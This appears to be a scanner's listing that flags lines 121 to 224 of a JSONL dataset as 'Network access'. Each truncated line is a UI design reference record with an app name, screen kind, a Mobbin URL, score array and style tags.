    {"id": "paywall-myfitnesspal", "app": "MyFitnessPal", "kind": "paywall", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/0ce65583-4e00-4345-825b-b6ef6e0a02fc", "source": "mobbin", "d": [55, 50, 35, 50, 75, 20, 45, 40], "tags": 
  • Network accessline 121
    {"id": "paywall-me-plus", "app": "Me+", "kind": "paywall", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/133916b2-f8bd-439d-b7a4-cb8b07193a64", "source": "mobbin", "d": [55, 60, 60, 60, 70, 10, 55, 75], "tags": ["illustration
  • Network accessline 122
    {"id": "paywall-hypelist", "app": "Hypelist", "kind": "paywall", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/ee3ef546-4feb-43c2-b1fb-733eda464553", "source": "mobbin", "d": [60, 70, 20, 55, 60, 80, 80, 30], "tags": ["glass"
  • Network accessline 123
    {"id": "paywall-vsco", "app": "VSCO", "kind": "paywall", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/e7a24d64-cdd4-476e-8d50-5e6cf69d2958", "source": "mobbin", "d": [65, 55, 40, 30, 30, 15, 5, 35], "tags": ["full-bleed imag
  • Network accessline 124
    {"id": "onboarding-tesla-robotaxi", "app": "Tesla Robotaxi", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/c231d223-73ec-42b6-b817-65c564040c84", "source": "mobbin", "d": [75, 75, 10, 30, 40, 40, 35, 55]
  • Network accessline 125
    {"id": "onboarding-givingli", "app": "Givingli", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/96e3aabf-a01a-4e19-b8fc-0e7eee1a96c8", "source": "mobbin", "d": [90, 80, 15, 55, 45, 5, 50, 90], "tags": ["f
  • Network accessline 126
    {"id": "onboarding-tide", "app": "TIDE", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/e9bf30dc-cdcb-40da-81f3-5dd2ce3e5095", "source": "mobbin", "d": [50, 55, 5, 10, 80, 5, 30, 40], "tags": ["full-bleed
  • Network accessline 127
    {"id": "onboarding-alma", "app": "Alma", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/0465d603-2d32-4b1e-9311-6e45c3cb74dd", "source": "mobbin", "d": [60, 80, 55, 65, 95, 25, 75, 90], "tags": ["pill sha
  • Network accessline 128
    {"id": "onboarding-vocabulary", "app": "Vocabulary", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/118493ce-8bfe-494c-b165-cf0e057c5074", "source": "mobbin", "d": [55, 80, 50, 45, 90, 45, 20, 80], "tags"
  • Network accessline 129
    {"id": "onboarding-bitepal", "app": "BitePal", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/01f40229-3408-4b77-88ab-494d395ab531", "source": "mobbin", "d": [50, 65, 55, 35, 85, 20, 15, 70], "tags": ["ma
  • Network accessline 130
    {"id": "onboarding-public", "app": "Public", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/bca96619-95cf-49cc-924c-31fdbf0b32f6", "source": "mobbin", "d": [10, 10, 35, 5, 40, 0, 0, 30], "tags": ["native"
  • Network accessline 131
    {"id": "signup-greptile", "app": "Greptile", "kind": "signup", "platform": "web", "mobbin_url": "https://mobbin.com/screens/bf73776a-f238-4a29-ad8d-7bad28693c45", "source": "mobbin", "d": [65, 85, 35, 60, 5, 5, 80, 25], "tags": ["split layo
  • Network accessline 132
    {"id": "signup-dribbble", "app": "Dribbble", "kind": "signup", "platform": "web", "mobbin_url": "https://mobbin.com/screens/8f0f13a3-a889-4208-af7e-82c40776c442", "source": "mobbin", "d": [50, 55, 15, 45, 60, 45, 55, 50], "tags": ["split la
  • Network accessline 133
    {"id": "signup-writer", "app": "WRITER", "kind": "signup", "platform": "web", "mobbin_url": "https://mobbin.com/screens/7d5aef30-5b5d-4d6a-8159-a4ddfcb5e84c", "source": "mobbin", "d": [60, 65, 40, 55, 55, 40, 45, 20], "tags": ["split layout
  • Network accessline 134
    {"id": "signup-ynab", "app": "YNAB", "kind": "signup", "platform": "web", "mobbin_url": "https://mobbin.com/screens/ad5b63a4-4755-4dac-a465-1d7703891183", "source": "mobbin", "d": [40, 60, 40, 30, 50, 35, 55, 40], "tags": ["split layout", "
  • Network accessline 135
    {"id": "paywall-hotjar", "app": "Hotjar", "kind": "paywall", "platform": "web", "mobbin_url": "https://mobbin.com/screens/5b9213c2-8b62-4bb2-b21d-03628b702bfb", "source": "mobbin", "d": [15, 25, 80, 20, 20, 30, 15, 35], "tags": ["dense", "u
  • Network accessline 136
    {"id": "paywall-mixpanel", "app": "Mixpanel", "kind": "paywall", "platform": "web", "mobbin_url": "https://mobbin.com/screens/3e027c63-0ec7-4abd-b5bd-513d979c3925", "source": "mobbin", "d": [30, 35, 40, 25, 65, 40, 30, 40], "tags": ["pill s
  • Network accessline 137
    {"id": "empty-finch", "app": "Finch", "kind": "empty", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/1062fc0d-6a69-4e2a-9dc3-217deca79025", "source": "mobbin", "d": [40, 75, 5, 30, 75, 20, 60, 85], "tags": ["illustration", "c
  • Network accessline 138
    {"id": "empty-mercedes-benz", "app": "Mercedes-Benz", "kind": "empty", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/559a6898-857b-400a-884b-c31eff6cb1c2", "source": "mobbin", "d": [40, 55, 15, 10, 15, 0, 0, 25], "tags": ["se
  • Network accessline 139
    {"id": "empty-gymshark", "app": "Gymshark", "kind": "empty", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/c21f87b8-0b57-4cb0-890e-fd45bc6ed9df", "source": "mobbin", "d": [10, 30, 5, 5, 5, 0, 0, 40], "tags": ["monochrome", "m
  • Network accessline 140
    {"id": "detail-hm", "app": "H&M", "kind": "detail", "platform": "web", "mobbin_url": "https://mobbin.com/screens/04a043d7-321e-4e84-af8a-3498f0222d11", "source": "mobbin", "d": [30, 45, 40, 20, 0, 0, 10, 35], "tags": ["sharp", "hairlines", 
  • Network accessline 141
    {"id": "detail-hers", "app": "Hers", "kind": "detail", "platform": "web", "mobbin_url": "https://mobbin.com/screens/28b6a4c5-993e-4f81-a43b-f483d8e7631d", "source": "mobbin", "d": [55, 70, 30, 35, 10, 35, 55, 55], "tags": ["split layout", "
  • Network accessline 142
    {"id": "detail-gamma", "app": "Gamma", "kind": "detail", "platform": "web", "mobbin_url": "https://mobbin.com/screens/4db86c36-9ea2-46af-bc2b-58f03df88226", "source": "mobbin", "d": [60, 60, 30, 25, 50, 40, 5, 25], "tags": ["monochrome", "b
  • Network accessline 143
    {"id": "feed-hbo-max", "app": "HBO Max", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/00b8220b-a6c8-4de7-a078-692d544c422c", "source": "mobbin", "d": [70, 55, 50, 65, 35, 40, 50, 30], "tags": ["dark", "full-b
  • Network accessline 144
    {"id": "feed-netflix", "app": "Netflix", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/30b9351b-3509-4e93-a9b4-c9445750a9ae", "source": "mobbin", "d": [70, 65, 35, 45, 50, 50, 40, 45], "tags": ["dark", "full-b
  • Network accessline 145
    {"id": "feed-imdb", "app": "IMDb", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/a90cc43c-67af-4877-8bd0-35c044c7f3c9", "source": "mobbin", "d": [35, 40, 65, 40, 50, 30, 40, 45], "tags": ["card grid", "dense",
  • Network accessline 146
    {"id": "feed-google-tv", "app": "Google TV", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/63762f4f-54d2-42bd-b072-4443a09f091d", "source": "mobbin", "d": [85, 50, 35, 80, 55, 35, 85, 55], "tags": ["full-bleed
  • Network accessline 147
    {"id": "checkout-doordash", "app": "DoorDash", "kind": "checkout", "platform": "web", "mobbin_url": "https://mobbin.com/screens/b89996d6-b7dc-4b09-b032-de5481615799", "source": "mobbin", "d": [25, 65, 70, 40, 80, 10, 45, 65], "tags": ["pill
  • Network accessline 148
    {"id": "checkout-unity", "app": "Unity", "kind": "checkout", "platform": "web", "mobbin_url": "https://mobbin.com/screens/26d615ce-50a8-45df-a342-744ea1e167c5", "source": "mobbin", "d": [10, 15, 60, 10, 15, 5, 15, 25], "tags": ["flat", "uti
  • Network accessline 149
    {"id": "feed-blinkit", "app": "Blinkit", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/17db8446-ee0e-4adf-9b93-af040d77348f", "source": "mobbin", "d": [40, 60, 90, 70, 60, 10, 60, 75], "tags": ["dense", "card 
  • Network accessline 150
    {"id": "feed-careem", "app": "Careem", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/a62e436f-b1e1-4011-94a4-8e13f41f4de3", "source": "mobbin", "d": [70, 85, 60, 85, 50, 10, 80, 60], "tags": ["bold colour", "b
  • Network accessline 151
    {"id": "feed-cherrypick", "app": "Cherrypick", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/133e7cba-20ef-4741-bd6d-54c949ebd291", "source": "mobbin", "d": [55, 85, 55, 45, 65, 15, 55, 75], "tags": ["bold col
  • Network accessline 152
    {"id": "feed-urban-outfitters", "app": "Urban Outfitters", "kind": "feed", "platform": "web", "mobbin_url": "https://mobbin.com/screens/0c1eec99-cf56-432b-a39b-4899ed12f1af", "source": "mobbin", "d": [85, 85, 55, 85, 15, 20, 75, 65], "tags"
  • Network accessline 153
    {"id": "feed-cosmos", "app": "Cosmos", "kind": "feed", "platform": "web", "mobbin_url": "https://mobbin.com/screens/38003d0f-a11a-4be0-92bd-e2c2ca7e232d", "source": "mobbin", "d": [45, 35, 50, 10, 40, 5, 15, 65], "tags": ["masonry", "produc
  • Network accessline 154
    {"id": "feed-walmart", "app": "Walmart", "kind": "feed", "platform": "web", "mobbin_url": "https://mobbin.com/screens/5aab2c2f-196e-4247-b1c7-686fe4f8d59d", "source": "mobbin", "d": [60, 65, 60, 55, 55, 10, 60, 70], "tags": ["bento", "photo
  • Network accessline 155
    {"id": "detail-dice", "app": "DICE", "kind": "detail", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/973cbdf3-7ad4-47cc-8ba0-4e817592f022", "source": "mobbin", "d": [85, 80, 30, 85, 55, 25, 65, 50], "tags": ["dark", "grain te
  • Network accessline 156
    {"id": "detail-luma", "app": "Luma", "kind": "detail", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/960fd6f0-1af8-4418-8d3c-4870d5c3f6ba", "source": "mobbin", "d": [35, 50, 45, 15, 85, 80, 10, 40], "tags": ["glass", "dark", 
  • Network accessline 157
    {"id": "detail-tripadvisor", "app": "Tripadvisor", "kind": "detail", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/3a68c032-8b12-4d08-a0c2-a63089d33344", "source": "mobbin", "d": [25, 60, 65, 40, 90, 20, 40, 60], "tags": ["pi
  • Network accessline 158
    {"id": "detail-google-arts-culture", "app": "Google Arts & Culture", "kind": "detail", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/857feb85-b477-4451-a377-59d09315897b", "source": "mobbin", "d": [60, 85, 40, 45, 40, 5, 55, 
  • Network accessline 159
    {"id": "detail-alma", "app": "Alma", "kind": "detail", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/e8f24bea-4f65-43b7-b3a0-4a7c82331721", "source": "mobbin", "d": [35, 55, 50, 25, 80, 65, 30, 80], "tags": ["soft", "3D", "ch
  • Network accessline 160
    {"id": "search-grailed", "app": "Grailed", "kind": "search", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/0d6de10f-a10b-4b62-8ec0-f013375fbca1", "source": "mobbin", "d": [20, 45, 50, 25, 0, 0, 0, 20], "tags": ["monochrome", 
  • Network accessline 161
    {"id": "search-zara", "app": "ZARA", "kind": "search", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/4a43b39a-70d9-4f36-80ac-7ada911045b7", "source": "mobbin", "d": [20, 70, 15, 5, 0, 0, 0, 30], "tags": ["monochrome", "sharp"
  • Network accessline 162
    {"id": "section-claude-type", "app": "Claude Type", "kind": "section", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/5b13f27b-7662-4d7f-9fcd-502a5b22cdca", "source": "mobbin", "d": [100, 95, 15, 80, 70, 5, 70, 60], "ta
  • Network accessline 163
    {"id": "section-shopify-supply", "app": "Shopify Supply", "kind": "section", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/84e5f6f6-bc86-489d-a542-16f0d8fc0d89", "source": "mobbin", "d": [65, 80, 40, 45, 0, 0, 0, 10], 
  • Network accessline 164
    {"id": "section-locomotive", "app": "Locomotive", "kind": "section", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/7882a603-f260-4a98-aa08-e5ce49f8ee6a", "source": "mobbin", "d": [95, 90, 25, 60, 0, 0, 20, 50], "tags":
  • Network accessline 165
    {"id": "section-phantom", "app": "Phantom", "kind": "section", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/151e0888-a1ff-4e13-8901-294af81fa94b", "source": "mobbin", "d": [50, 85, 30, 35, 75, 5, 60, 60], "tags": ["pa
  • Network accessline 166
    {"id": "pricing-a24", "app": "A24", "kind": "pricing", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/80176e94-288c-41bb-8c52-8ecfc75cbe79", "source": "mobbin", "d": [85, 90, 45, 55, 10, 70, 15, 30], "tags": ["dark", "3
  • Network accessline 167
    {"id": "pricing-oku", "app": "Oku", "kind": "pricing", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/f66ba39e-9d4f-4336-955d-8721fef92d47", "source": "mobbin", "d": [40, 55, 40, 10, 30, 0, 20, 70], "tags": ["serif", "p
  • Network accessline 168
    {"id": "pricing-kinfolk", "app": "Kinfolk", "kind": "pricing", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/b24920f5-c590-44cf-a0b1-875530fd9546", "source": "mobbin", "d": [65, 75, 25, 20, 0, 5, 25, 65], "tags": ["ser
  • Network accessline 169
    {"id": "hero-lululemon", "app": "lululemon", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/screens/8acb3ddb-3478-4461-b40f-9fad9ed16688", "source": "mobbin", "d": [85, 65, 15, 70, 65, 10, 75, 70], "tags": ["full-bleed
  • Network accessline 170
    {"id": "game-finch", "app": "Finch", "kind": "game", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/04a24fa6-1ca2-46dc-b772-69dc16190191", "source": "mobbin", "d": [70, 90, 35, 45, 85, 25, 60, 90], "tags": ["illustration", "ma
  • Network accessline 171
    {"id": "game-kit", "app": "Kit", "kind": "game", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/ccfc2094-3ae7-4d12-a8a6-1dc25dfcaa32", "source": "mobbin", "d": [75, 85, 30, 55, 75, 40, 65, 75], "tags": ["illustration", "3D", "
  • Network accessline 172
    {"id": "dashboard-abode", "app": "Abode", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/7cc3b9ef-6e82-4345-a045-aa17ae6ceb94", "source": "mobbin", "d": [70, 80, 50, 70, 80, 15, 75, 75], "tags": ["bento", 
  • Network accessline 173
    {"id": "feed-alan", "app": "Alan", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/fc70fe25-5fdc-4ab8-8c99-416546c33a23", "source": "mobbin", "d": [65, 85, 45, 45, 85, 45, 50, 85], "tags": ["3D", "mascot", "soft
  • Network accessline 174
    {"id": "editor-5-minute-journal", "app": "5 Minute Journal", "kind": "editor", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/7f5129e8-0de8-4050-8fe7-d0cf033442f3", "source": "mobbin", "d": [30, 55, 25, 15, 80, 25, 20, 85], "t
  • Network accessline 175
    {"id": "dashboard-binance", "app": "Binance", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/af7f191e-782d-4d24-9fe4-fe4be7797322", "source": "mobbin", "d": [30, 70, 85, 60, 45, 10, 40, 30], "tags": ["dark
  • Network accessline 176
    {"id": "dashboard-me-plus", "app": "Me+", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/0cdeb663-a2b8-421b-8f91-9923ec5776e5", "source": "mobbin", "d": [75, 85, 45, 85, 85, 30, 95, 90], "tags": ["mascot",
  • Network accessline 177
    {"id": "dashboard-bitepal", "app": "BitePal", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/c76cbee1-e8f2-443c-b542-4920622b6ed3", "source": "mobbin", "d": [80, 85, 35, 65, 85, 25, 70, 85], "tags": ["masc
  • Network accessline 178
    {"id": "editor-aws-cloudshell", "app": "AWS CloudShell", "kind": "editor", "platform": "web", "mobbin_url": "https://mobbin.com/screens/d0d297f6-e44c-404e-a2dc-c04ce7e8e041", "source": "mobbin", "d": [5, 15, 55, 20, 0, 0, 0, 5], "tags": ["d
  • Network accessline 179
    {"id": "editor-planetscale", "app": "PlanetScale", "kind": "editor", "platform": "web", "mobbin_url": "https://mobbin.com/screens/bd87cffe-823b-486a-8acb-eccb4fe4f350", "source": "mobbin", "d": [15, 30, 55, 25, 15, 5, 15, 15], "tags": ["mon
  • Network accessline 180
    {"id": "editor-stoic", "app": "stoic.", "kind": "editor", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/cb17fd6b-49c9-41bb-bead-7cfd47230900", "source": "mobbin", "d": [55, 50, 35, 30, 55, 5, 0, 35], "tags": ["big type", "mon
  • Network accessline 181
    {"id": "hero-nite-riot", "app": "Nite Riot", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/75986401-f96a-4ade-b171-fb632386a8a9", "source": "mobbin", "d": [95, 85, 70, 90, 5, 40, 70, 55], "tags": ["coll
  • Network accessline 182
    {"id": "section-readymag", "app": "Readymag", "kind": "section", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/fbdeae79-9c95-4a76-bba0-8efa93b731b2", "source": "mobbin", "d": [85, 80, 75, 80, 25, 20, 70, 70], "tags": [
  • Network accessline 183
    {"id": "table-salesforce", "app": "Salesforce", "kind": "table", "platform": "web", "mobbin_url": "https://mobbin.com/screens/f369ce5f-5ae0-44b3-b76f-67ecbd38871c", "source": "mobbin", "d": [10, 55, 75, 30, 25, 15, 35, 15], "tags": ["dense"
  • Network accessline 184
    {"id": "editor-google-arts-culture", "app": "Google Arts & Culture", "kind": "editor", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/46d62d2c-6ac2-47ae-958a-f7cdcc07cb19", "source": "mobbin", "d": [75, 85, 35, 60, 20, 5, 55, 
  • Network accessline 185
    {"id": "editor-riveo", "app": "Riveo", "kind": "editor", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/6f4293ac-9056-40e3-9d05-899a15e450ba", "source": "mobbin", "d": [55, 65, 70, 70, 40, 25, 70, 35], "tags": ["dark", "retro"
  • Network accessline 186
    {"id": "game-babbel", "app": "Babbel", "kind": "game", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/7d85cf2e-c1ea-4656-adb9-a03f65955138", "source": "mobbin", "d": [85, 90, 30, 65, 10, 10, 70, 85], "tags": ["retro", "illustr
  • Network accessline 187
    {"id": "game-goat", "app": "GOAT", "kind": "game", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/d9cb494c-7e4c-4960-ac19-2a811cdeeb13", "source": "mobbin", "d": [95, 90, 40, 90, 50, 70, 75, 40], "tags": ["neon", "glow", "dark
  • Network accessline 188
    {"id": "game-bump", "app": "Bump", "kind": "game", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/88393975-8ac9-4b99-bae5-c12a943287b9", "source": "mobbin", "d": [90, 90, 55, 95, 55, 55, 90, 65], "tags": ["bold colour", "big t
  • Network accessline 189
    {"id": "feed-replika", "app": "Replika", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/236883ab-4316-498f-87ee-df7379416b19", "source": "mobbin", "d": [60, 70, 55, 50, 75, 80, 55, 60], "tags": ["glass", "3D", 
  • Network accessline 190
    {"id": "profile-life-reset", "app": "Life Reset", "kind": "profile", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/28db14a2-e6a1-4f49-a304-a048fa1880b4", "source": "mobbin", "d": [60, 80, 65, 55, 35, 20, 45, 40], "tags": ["da
  • Network accessline 191
    {"id": "game-crypto-com", "app": "Crypto.com", "kind": "game", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/0ca056cc-7050-4cdc-8d93-e15d3aeb701d", "source": "mobbin", "d": [65, 70, 50, 60, 35, 85, 40, 25], "tags": ["3D", "da
  • Network accessline 192
    {"id": "editor-apple-photos", "app": "Apple Photos", "kind": "editor", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/cfdedea1-b462-42ae-b794-606e9f4ef2c0", "source": "mobbin", "d": [25, 15, 40, 25, 85, 80, 20, 45], "tags": ["
  • Network accessline 193
    {"id": "hero-neon", "app": "NEON", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/1d1863b3-a450-4317-9765-12ae9994db64", "source": "mobbin", "d": [90, 85, 15, 55, 0, 0, 25, 40], "tags": ["condensed type"
  • Network accessline 194
    {"id": "editor-railway", "app": "Railway", "kind": "editor", "platform": "web", "mobbin_url": "https://mobbin.com/screens/3358aee0-6b24-404c-b33a-106642cda275", "source": "mobbin", "d": [25, 50, 50, 25, 40, 35, 15, 15], "tags": ["dark", "mo
  • Network accessline 195
    {"id": "dashboard-stardust", "app": "Stardust", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/1020cd02-f067-44c0-bc45-98513265047e", "source": "mobbin", "d": [75, 80, 30, 55, 75, 85, 75, 45], "tags": ["3D
  • Network accessline 196
    {"id": "dashboard-calm", "app": "Calm", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/5236d3fc-154c-4a08-8eb1-8da87069582b", "source": "mobbin", "d": [60, 70, 40, 35, 85, 80, 65, 50], "tags": ["photograph
  • Network accessline 197
    {"id": "dashboard-orbit", "app": "Orbit", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/753d1173-5a96-45a8-bef4-7cd55436ef28", "source": "mobbin", "d": [65, 60, 50, 50, 75, 80, 55, 40], "tags": ["3D", "da
  • Network accessline 198
    {"id": "dashboard-sweatcoin", "app": "Sweatcoin", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/84dd5373-2592-40f6-8430-2bf97c53f300", "source": "mobbin", "d": [70, 75, 45, 75, 80, 80, 90, 55], "tags": ["
  • Network accessline 199
    {"id": "player-brink", "app": "Brink", "kind": "player", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/950daf53-8198-4460-a7a2-0402fe048e8e", "source": "mobbin", "d": [70, 80, 15, 25, 70, 90, 10, 45], "tags": ["retro", "produ
  • Network accessline 200
    {"id": "dashboard-brick", "app": "Brick", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/af0ece21-c6c1-4a83-963b-363ef79ca7ea", "source": "mobbin", "d": [55, 65, 10, 10, 75, 85, 5, 60], "tags": ["3D", "pro
  • Network accessline 201
    {"id": "dashboard-sunlitt", "app": "Sunlitt", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/249fecee-696e-4698-9171-9741b1a3c095", "source": "mobbin", "d": [75, 80, 5, 45, 70, 80, 85, 85], "tags": ["3D", 
  • Network accessline 202
    {"id": "player-poolsuite-fm", "app": "Poolsuite FM", "kind": "player", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/bd85da21-3f45-4c88-bcc0-1eaeacb174a6", "source": "mobbin", "d": [85, 95, 55, 65, 20, 80, 60, 80], "tags": ["
  • Network accessline 203
    {"id": "settings-mydyson", "app": "MyDyson", "kind": "settings", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/800dc014-322b-4482-8c56-7db56949126d", "source": "mobbin", "d": [50, 60, 10, 20, 75, 80, 15, 25], "tags": ["produc
  • Network accessline 204
    {"id": "dashboard-apple-wallet", "app": "Apple Wallet", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/46812e0f-4c8d-40ce-8ad3-356b009761e0", "source": "mobbin", "d": [45, 20, 80, 60, 60, 80, 75, 40], "tag
  • Network accessline 205
    {"id": "section-jeton", "app": "Jeton", "kind": "section", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/bfa31488-d906-4ab4-8ab6-72184f95b90d", "source": "mobbin", "d": [75, 75, 20, 55, 65, 90, 75, 65], "tags": ["3D", 
  • Network accessline 206
    {"id": "hero-kode-immersive", "app": "KODE Immersive", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/4e3f95e7-be97-44a7-8ce8-362ff79c959a", "source": "mobbin", "d": [95, 90, 35, 90, 15, 85, 90, 60], "ta
  • Network accessline 207
    {"id": "detail-journal", "app": "Journal", "kind": "detail", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/9f27fe19-a225-4865-98f2-a2bfa762ec97", "source": "mobbin", "d": [60, 35, 15, 30, 80, 80, 55, 65], "tags": ["glass", "3
  • Network accessline 208
    {"id": "onboarding-character-ai", "app": "Character AI", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/48068fa6-40d8-41c8-9eb2-66f6495984b1", "source": "mobbin", "d": [70, 55, 35, 65, 80, 80, 70, 55], "t
  • Network accessline 209
    {"id": "dashboard-kraken", "app": "Kraken", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/75a2fce0-ab46-47e8-9c6e-e0bfc9000c9a", "source": "mobbin", "d": [15, 35, 95, 55, 30, 15, 35, 20], "tags": ["dark",
  • Network accessline 210
    {"id": "dashboard-gemini", "app": "Gemini", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/7302db76-c051-4e5a-a235-1a1e654333cb", "source": "mobbin", "d": [20, 30, 90, 70, 45, 10, 55, 20], "tags": ["dark",
  • Network accessline 211
    {"id": "table-render", "app": "Render", "kind": "table", "platform": "web", "mobbin_url": "https://mobbin.com/screens/58138be0-3d82-433a-9071-7071796990cf", "source": "mobbin", "d": [5, 20, 100, 20, 10, 0, 0, 10], "tags": ["dark", "mono typ
  • Network accessline 212
    {"id": "table-braintrust", "app": "Braintrust", "kind": "table", "platform": "web", "mobbin_url": "https://mobbin.com/screens/ed5eb948-f7a2-411f-a73d-02393ab17dbb", "source": "mobbin", "d": [10, 25, 90, 30, 25, 15, 20, 30], "tags": ["hairli
  • Network accessline 213
    {"id": "table-xero", "app": "Xero", "kind": "table", "platform": "web", "mobbin_url": "https://mobbin.com/screens/7692fece-0223-48ee-9ae0-8280f326b144", "source": "mobbin", "d": [10, 45, 85, 25, 15, 15, 30, 25], "tags": ["dense", "hairlines
  • Network accessline 214
    {"id": "feed-superhuman", "app": "Superhuman Mail", "kind": "feed", "platform": "web", "mobbin_url": "https://mobbin.com/screens/313a7595-6197-4c72-a1bd-bcd7ffacf2cc", "source": "mobbin", "d": [10, 45, 90, 15, 10, 5, 5, 40], "tags": ["monoc
  • Network accessline 215
    {"id": "feed-proton", "app": "Proton", "kind": "feed", "platform": "web", "mobbin_url": "https://mobbin.com/screens/591e5cac-e710-419f-940a-5ed5be8d5d4a", "source": "mobbin", "d": [15, 55, 85, 35, 30, 5, 40, 30], "tags": ["dense", "hairline
  • Network accessline 216
    {"id": "editor-databricks", "app": "Databricks", "kind": "editor", "platform": "web", "mobbin_url": "https://mobbin.com/screens/bc851bab-0aaf-4cb2-a096-d2ccc6990c20", "source": "mobbin", "d": [10, 25, 85, 25, 25, 5, 15, 30], "tags": ["dense
  • Network accessline 217
    {"id": "settings-mesh", "app": "Mesh", "kind": "settings", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/8f729537-50c4-42c6-a975-422bf020645c", "source": "mobbin", "d": [15, 10, 50, 15, 60, 5, 25, 40], "tags": ["native", "fla
  • Network accessline 218
    {"id": "settings-future-pro", "app": "Future Pro", "kind": "settings", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/89b8a60f-b3fc-4dc9-beba-8c329632d511", "source": "mobbin", "d": [15, 15, 45, 15, 85, 15, 20, 40], "tags": ["
  • Network accessline 219
    {"id": "feed-reminders", "app": "Reminders", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/e767ee02-c8a7-4502-868a-809f0235e28b", "source": "mobbin", "d": [30, 5, 30, 20, 60, 10, 30, 45], "tags": ["native", "a
  • Network accessline 220
    {"id": "dashboard-apple-health", "app": "Apple Health", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/e60672f4-262f-478f-9326-6a6a2262f43f", "source": "mobbin", "d": [40, 15, 45, 30, 75, 20, 45, 55], "tag
  • Network accessline 221
    {"id": "table-apple-notes", "app": "Apple Notes", "kind": "table", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/f29e6f26-c1c3-470f-95b3-c237ff639ad0", "source": "mobbin", "d": [30, 5, 40, 15, 80, 15, 20, 50], "tags": ["nativ
  • Network accessline 222
    {"id": "table-remote-global-hr", "app": "Remote Global HR", "kind": "table", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/6aef73ab-62d1-4a06-9223-0a2d1a7c07c0", "source": "mobbin", "d": [15, 15, 65, 15, 50, 15, 15, 20], "tag
  • Network accessline 223
    {"id": "dashboard-garmin-connect", "app": "Garmin Connect", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/b2b24a7f-7fa7-4e7f-8889-b3105b2d5ab3", "source": "mobbin", "d": [30, 20, 60, 40, 40, 5, 35, 25], "
  • Network accessline 224
